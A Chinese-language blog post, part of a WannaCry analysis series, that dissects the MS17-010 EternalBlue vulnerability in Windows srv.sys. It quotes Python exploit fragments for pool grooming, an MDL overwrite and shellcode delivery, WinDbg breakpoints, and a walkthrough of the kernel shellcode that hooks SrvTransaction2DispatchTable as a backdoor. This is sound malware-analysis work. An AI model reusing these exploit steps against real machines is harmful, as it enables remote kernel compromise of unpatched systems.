2017年6月5日 星期一

Wannacry病毒深度技術分析(二)-系統漏洞篇




上一篇文章裡我們提到Wannacry利用MS-17 010漏洞感染其他電腦
但並沒有提到是如何感染的
因為它背後牽涉的技術非常多且複雜
在這裡我們將用一整篇文章的篇幅來介紹MS-17 010這個漏洞

本文除了上一篇分析文需要的背景知識外
還需要對Windows底層,尤其是系統R0部分的運作方式有一定程度的了解
另外因為Windbg的原始碼是Assembly、PoC用的是Python
這些語言和工具最好也要有點認知
至於SMB Protocol需要了解嗎?
老實說,我也是這次研究EternalBlue才知道的
看到不熟的名詞,Google便是了,例如MSDN

MS-17 010漏洞分析-EternalBlue

MS-17 010是EternalBlue在微軟重大資訊安全公告裡的代碼
這安全漏洞的問題點是出在於Windows裡SMB driver-srv.sys中的SrvOs2FeaListSizeToNt函式裡
出現了一次不正確的強制轉型(DownCast)導致了記憶體拷貝越界所造成的Bug



這Bug是因為原本宣告為 int 的 pOs2Fea
在第13行的強制轉型DWORD沒什麼事
但在第25行時被強制轉型為比較小的WORD後就對pOs2Fea的大小作了錯誤的修改

在srv.sys的函式呼叫裡
存在著以下關係:

SrvOs2FeaListToNt 呼叫 SrvOs2FeaListSizeToNt
SrvOs2FeaListToNt 呼叫 SrvOs2FeaToNt


第31行執行完後的windbg畫面如下:



為了方便大家閱讀,我把命令列視窗單獨放大:



原本pOs2Fea正確的大小應為 0x10000,被修改後的大小變為0x1ff5d (rax暫存器的值)
已經遠大於原本該分配給SMB pool的大小0x11000
v14的值所該指的記憶體位址已經超過了系統分配的0x11000上限
指到了fffff8a001e76090之處-即為r14暫存器的值
我們從命令列視窗裡的訊息可以看出
fffff8a001e76090所指的位址已經不在原本系統分配的fffff8a001e56000 ~ fffff8a0`01e67000 範圍內
而指到了一塊未知的記憶體處了

從原始碼來看,在原始碼第21行的 
Size = SrvOs2FeaListSizeToNt(_FeaList);

執行完畢之後,_FeaList的大小變的非常大
此大小由其後的v14所繼承


      v14 = *(_DWORD *)FeaList + FeaList - 5;
      while ( pOS2FeaBody <= (unsigned __int64)v14 )
      {
        if ( *(_BYTE *)pOS2FeaBody & 0x7F )
        {
          *(_WORD *)v4 = pOS2FeaBody - FeaList;
          v15 = 0xC000000D;
          goto LABEL_15;
        }
        v13 = pNtFea;
        v8 = pOS2FeaBody;
        pNtFea = SrvOs2FeaToNt(pNtFea, pOS2FeaBody);


因為v14已經變的非常大
所以32行的while判斷變的完全無效
就算pNtFea已經指到了尾巴還是繼續進行拷貝動作,因此造成記憶體被寫穿到不該寫的地方


利用此漏洞攻擊的EternalBlue
他的攻擊方式可以粗略的寫成如下的程式碼(以網路上用python寫成的exploit作範例):

1. 一開始為正常的SMB連結,Transaction、Treeconnect之類的
主要是為了取得後面攻擊步驟需要的資訊,如TreeID、UserID
from impacket import smb
conn = smb.SMB(target, target)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

2. 開始不斷的產生SMB封包以消耗對方的NonPagedPool
少則5次,多則十幾次
def createConnectionWithBigSMBFirst80(target):
    sk = socket.create_connection((target, 445))
    // 根據經驗,塞入0x11000大小最容易觸發漏洞
    pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
    pkt += 'BAAD' 
    pkt += '\x00'*0x7c
    sk.send(pkt)
    return sk
srvnetConn = []
for i in range(numGroomConn):
    sk = createConnectionWithBigSMBFirst80(target)
    srvnetConn.append(sk)
 

3. 把特別構築好的Fealist送過去,覆寫掉srvnetConn結構的header
尤其是裡面的MDL (Memory Descriptor List)
因為這MDL是我們之前已經送進去的正常buffer,現在被我們覆蓋掉了
系統很快就會處理這個MDL


from struct import pack
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0)  # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)  # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # x64 pmdl2
# below 0x20 bytes is overwritting MDL
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBufferNsa)-1) + fakeSrvNetBufferNsa
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
send_trans2_second(conn, tid, feaList[progress:], progress)
 

我們可以用Wireshark看到不斷發包消耗NonPagedPool的痕跡:



或是觀察Windbg的MDL
在發送過程前下這段中斷點(x86 only)
bp afd!WskProAPIReceive  ".echo ####;dd esp L8; .echo ***;dd poi(esp+8) L20;.echo ***;dt poi(poi(esp+8)) _MDL;  gc;"
 
這中斷點的意思是每次在srvnet!SrvNetWskReceiveEvent呼叫afd!WskProAPIReceive時
把esp和對應的MDL印出來
可以得到如下圖:



我們可以看到每個MDL的StartVa就像說好的一樣
剛好都間隔0x11000 

4. 把EternalBlue真正的Shellcode用SrvNetCommonReceiveHandler()傳入的參數格式包好,用SMB message傳進去
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)

for sk in srvnetConn:
    sk.send(fake_recv_struct + shellcode)
 

這種攻擊方式稱為Pool spray 
能讓我們寫穿原本系統不讓我們寫的NonPagedPool
而原本srv.sys裡的函式SrvNetCommonReceiveHandler()就會去執行EternalBlue塞的Shellcode


這段Malformed 的 SMB NT Trans request packet,即為shellcode寫入的起始點



定位Wannacry的Shellcode入口

因為Wannacry的Shellcode作的事情和EternalBlue的Shellcode幾乎是一樣的
所以我們繼續用EternalBlue來作說明
既然我們知道了這個漏洞
那Wannacry利用這漏洞來執行什麼呢?
首先我們必須找到Wannacry執行Shellcode的地方
從別人的分析文章我們得知這shellcode會在SrvNetWskReceiveComplete+0x15處觸發



所以我們可以在Windbg裡這樣下中斷點來觀察shellcode的起始位址:
ba e1 srvnet!SrvNetWskReceiveComplete+0x15 "dq r8 r8+0x48;gc"
下中斷點後得到結果如下:




我們能看到一個和分析文類似的特殊地址 代表這地址已經被替換成shellcode的入口處了於是我們能繼續下進一步的中斷點:
bp srvnet!SrvNetCommonReceiveHandler+0xb7
但如果你一開始就下這個中斷點的話,你會被Exploit開頭的SMB negotiation搞得半死所以我們可以加入條件判斷,把中斷點指令合併成這樣:
ba e1 srvnet!SrvNetWskReceiveComplete+0x15 ".if(poi(@r8+0x48) == 0xffffffffffd00010){bp srvnet!SrvNetCommonReceiveHandler+0xb7;gc}.else{gc}"
如此一來,bp srvnet!SrvNetCommonReceiveHandler+0xb7的中斷點就會在shellcode的進入點被觸發之後才被開啟 我們也更容易找到shellcode進入的位址:0xffffffff`ffd00201



那位於0xffffffff`ffd00201的Shellcode作了什麼?
其實他只是Shellcode的一的小函式
他最主要作的事情是修改了Windows第0C0000082h的MSR (Model-Specific Register)


在上圖中,rcx的00000000c0000082即為rwmsr要寫入的MSR位址
而rax的位址就是我們要真正讓系統執行Shellcode的位址
此位址我們可以用rdmsr指令得到此MSR位址在Shellcode還沒寫入前
指向的位址是fffff800`0288eec0
再用ln檢查這地址的程式碼是什麼
Windbg告訴我們這地址其實就是SSDT (System Service Descriptor Table) 裡的系統呼叫 KiSystemCall64


執行wrmsr後 00000000c0000082的MSR指向的地址即變為真正shellcode的入口處ffffffff`ffd002e2



MSR被成功寫入後
緊接著就等待系統執行KiSystemCall64
系統呼叫就能執行真正的Shellcode了
這裡是一個Exploit可能會失敗的點
如果系統在呼叫KiSystemCall64前作了什麼不明變更的話
那Exploit就可能會執行失敗造成BSoD
過從Wannacry散布程度和我自己實測來看
成功機率應該是有八九成以上的

Wannacry的Shellcode作了什麼事情?

Windows進行系統呼叫觸發真正的Shellcode入口後
Shellcode會先定位Windows裡ntoskrnl.exe的Base address



他是如何定位系統的ntoskrnl.exe呢?

在Windows x64的kernel mode下,gs的偏移值指向了KPCR結構(Kernel Processor Control Region)
shellcode裡面的指令:
mov   rax,qword ptr gs:[38h] 

便是取得KPCR第0x38的資料,即上圖所顯示的「IdtBase」
在x64系統裡他指向了KIDTENTRY64這個結構
只要我們在這結構裡增加4,我們就能得到指向中斷處理表(Interrupt Descriptor Table)的函式
mov     rax,qword ptr [rax+4] 

不過在這裡Shellcode的目的不是為了找IDT,而是為了找出ntosknrl.exe的Base address
這裡他利用了兩個指令把0x1000以下的記憶體位址清空:



接著比較此記憶體位址的開頭是不是表示為PE header最開頭的magic number 「4D5A」(MZ字串)
如果不是就以0x1000為單位不斷往回搜尋
直到找到PE header的開頭為止
cmp     bx,5A4Dh
je      ffffffff`ffd00d33
sub     rax,1000h
jmp     ffffffff`ffd00d21 

我們可以用lmv v nt來驗證他的確是ntoskrnl.exe的起始位址



一但找到ntoskrnl.exe的Base address,之後就好辦了
只要跟著PE header的標準去定位到函式輸出表(Export function table)
就能找出Shellcode需要的函式
Shellcode用while loop找出以下他需要的函式:

ZwQuerySystemInformation
ExAllocatePool
ExFreePool

ExAllocatePool和ExFreePool不用說
Shellcode的Hook和其他工作需要取得記憶體空間
所以這兩個函式是必要的至於ZwQuerySystemInformation則是為了下一個步驟而找出來的
紅色方框處為ntoskrnl.exe的輸出函式表
緊接著Shellcode呼叫剛才找到的ZwQuerySystemInformation
並帶入0xb參數,0xb代表SystemQueryModuleInformation
意即列舉出系統上正在運作的Kernel Module
而系統上這些運作的Kernel Module中
當然包含了Shellcode主要的目標,srv.sys



Shellcode藉由4-byte的雜湊值來搜尋和定位第一個Kernel Module的位址,ntoskrnl.exe (沒錯又是他)
然後用字串比對看看是不是他要的srv.sys
如果不是,則所指記憶體位址增加0x128來指向下一個Kernel Module
下圖就是尋找到hal.dll時的狀況



就這樣不斷的每隔0x128位址就檢查一次....最後終於找到了srv.sys!



找到srv.sys後
Shellcode開始循著PE header的架構
一步步的定位到 .data section



為何要找出 .data section呢?
因為Shellcode要攻擊的最終目標,SrvTransaction2DispatchTable就在這裡


SrvTransaction2DispatchTable從上圖可以看到
他是個存放各種不同任務的函式指標,如開啟連結、尋找檔案...等
EternalBlue的Shellcode找到了這裡後
一開始找到的ExAllocatePool在這時派上了用場
Shellcode呼叫他分配了一塊記憶體,用來存放hook函式
如下圖,右邊的記憶體位址ffffffff`ffd00dbd就是hook函式的內容



hook函式準備好後,
重頭戲即將登場
SrvTransaction2DispatchTable裡的srv!SrvTransactionNotImplemented成為了受害者
Shellcode先把指向hook函式的記憶體位址存放到r9
原本srv!SrvTransactionNotImplemented的記憶體位址則位於rax指向的位址
然後執行了關鍵的指令:mov qword ptr [rax],r9
下圖是執行此指令前ptr[rax]的內容



執行這關鍵指令後的srv!SrvTransactionNotImplemented
他原本的位址被Shellcode配置的hook函式所取代,形成了一個後門

下圖是執行指令後的SrvTransaction2DispatchTable



至此,EternalBlue安置後門的工作已全部完成

剩下的程式碼只是收尾而已
這後門就靜靜的等待整體攻擊行為的第二步-Doublepulsar的到來
然而對Wannacry而言,第二波攻擊的發起只是毫秒之內的事情

另外,因為原本的SMB handler會把srvnet buffer釋放掉
但SrvNetCommonReceiveHandler()已經轉而去呼叫後門函式了,沒人釋放srvnet buffer
所以此處會造成記憶體洩漏... (Memory Leak)
不過你覺得Wannacry / EternalBlue會在意這種事嗎,哈!

Wannacry分析系列文:
Wannacry病毒深度技術分析(一)-傳播篇
Wannacry病毒深度技術分析(二)-系統漏洞篇
Wannacry病毒深度技術分析(三)-漏洞利用篇
Wannacry病毒深度技術分析(四)-佈局篇
Wannacry病毒深度技術分析(五)-加密篇
Wannacry病毒深度技術分析(六)-勒索篇